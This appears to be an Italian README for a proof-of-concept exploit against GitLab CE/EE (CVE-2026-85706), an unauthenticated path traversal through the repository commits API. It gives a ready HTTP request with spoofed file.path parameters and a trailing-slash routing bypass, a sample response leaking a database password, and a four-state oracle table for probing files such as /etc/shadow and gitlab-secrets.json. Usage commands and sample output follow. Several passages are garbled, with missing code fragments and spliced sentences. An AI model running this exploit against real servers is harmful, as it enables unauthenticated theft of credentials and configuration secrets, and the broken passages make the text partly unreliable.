
PoC Python per CVE-2026-85706, un path traversal non autenticato nell'API Repository Commits di GitLab CE/EE che espone file locali arbitrari tramite un oracolo a quattro stati.
L'API «crea commit» di GitLab (POST /api/v4/projects/:id/repository/commits) consente di inviare grandi quantità di contenuto di file in una singola richiesta. Per evitare che corpi di richiesta eccessivamente grandi entrino direttamente nel parsing di Rails, Workhorse scrive prima il corpo della richiesta su disco come file temporaneo, poi inietta i metadati come file.path / file.size nella richiesta inoltrata, e l'endpoint Rails rilegge il file in base a questi parametri. La catena della vulnerabilità è la combinazione di quattro elementi:
post ':id/repository/commits' ha solo require_gitlab_workhorse! (che verifica solo "inoltrato tramite Workhorse"), mentre la vera authenticate! è nascosta più avanti in authorize_push_to_branch!, e la lettura del path traversal avviene prima di essa.file_params_from_body_upload tratta direttamente i parametri della richiesta file.path / file.size / Content-Type come metadati iniettati da Workhorse, senza distinguere l'origine dei parametri, e File.read(file_path) permette di attraversare qualsiasi percorso locale.Content-Type=application/x-www-form-urlencoded, il contenuto del file viene passato a Rack::Utils.parse_nested_query per il parsing; una sequenza non valida nel contenuto attiva , che viene restituito tale e quale nella risposta 400 tramite . L'eco è first-come-first-served: / sono i confini dei componenti, il parsing si interrompe al primo non valido nel componente in cui si trova e restituisce quel componente; in assenza di separatori l'intero file viene restituito come un unico componente (le sequenze di escape esadecimale valide non attivano l'errore).Prerequisiti: :id nell'URL deve essere un progetto realmente esistente (qualsiasi progetto pubblico va bene), e non è necessario effettuare il login in nessun momento.
Richiesta di exploit (database.yml in un deployment con DB esterno, con password contenente una sequenza % non valida viene restituito l'intero blocco):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Risposta (viene restituito l'intero componente in cui si trova il primo % non valido):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
La lettura viene eseguita con l'identità dell'utente git del processo Puma, e la risposta costituisce un oracolo a quattro stati:
Ambito effettivamente leggibile in un deployment predefinito (verificato sul campo):
%: log e artefatti di build CI, allegati caricati dagli utenti, database.yml di deployment con DB esterno. In database.yml con l'autenticazione peer socket locale predefinita il campo password è vuoto, e ha un valore solo nei deployment con DB esterno.gitlab.yml: i commenti del template renderizzato contengono già sequenze come 95%, %{key} in testa al file (circa riga 19), mentre le configurazioni delle credenziali (incoming_email, LDAP, object storage, ecc.) si trovano dopo la riga 170 — il first-come-first-served significa che in un deployment predefinito è possibile restituire solo il segmento di testa, e il segmento delle credenziali non è leggibile; è leggibile solo in varianti di deployment senza sequenze interferenti (template personalizzati, ecc.). Si noti inoltre che la password SMTP (gitlab_rails['smtp_password']) non viene renderizzata in gitlab.yml; ciò che viene effettivamente renderizzato sono le credenziali di incoming_email, LDAP, object_store.secrets.yml è puro hex senza %, quindi il contenuto non è leggibile (401); , le chiavi private TLS e gli archivi di backup sono root-only (solo oracolo 500).Implementato con la libreria standard di Python 3, senza dipendenze di terze parti. Lo script interpreta automaticamente i risultati dei quattro stati secondo la tabella precedente.
python3 exploit.py -t http://<target>:<port> # legge gitlab.yml per impostazione predefinita (verifica rapida dell'eco)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Output di esempio (lettura di gitlab.yml in un deployment predefinito — viene restituito il segmento di testa e non quello delle credenziali):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
Solo per test di sicurezza autorizzati e ricerca sulle vulnerabilità.
%ArgumentError: invalid %-encoding (<contenuto componente>)bad_request!&=%%xx.../repository/commits\z), e i parametri falsificati vengono inghiottiti nel contenuto del file su disco. Aggiungendo / alla fine dell'URL la regola non corrisponde più, e si ricade nel reverse proxy firmato di fallback — il corpo della richiesta originale insieme ai parametri falsificati viene inoltrato tale e quale a Rails con un JWT valido, require_gitlab_workhorse! passa; dopo la normalizzazione dello slash finale da parte di Grape, l'handler vulnerabile viene comunque raggiunto.| Risposta | Significato | Esempio |
|---|
400 local file not present | Il file non esiste | /etc/nonexistent |
500 Internal Server Error | Esiste ma l'utente git non ha i permessi di lettura (Errno::EACCES non gestito); anche gli errori di parsing del ramo multipart su file leggibili finiscono in 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Esiste ed è leggibile, ma il contenuto non ha sequenze % non valide, quindi non viene restituito | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<contenuto>) | Esiste, è leggibile e contiene una sequenza % non valida — viene restituito l'intero componente in cui si trova | Log contenenti %, artefatti di build CI, database.yml di DB esterno |
gitlab.rb/proc/self/*, e sondare l'esistenza di progetti privati convertendo l'ID del progetto nel percorso @hashed.| Parametro | Descrizione |
|---|
-t | Indirizzo GitLab di destinazione (obbligatorio), ad esempio http://<target>:<port> |
-f | Percorso assoluto da leggere (predefinito /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | ID del progetto, qualsiasi progetto realmente esistente va bene (predefinito 1) |
-o | Salva il contenuto letto in un file locale |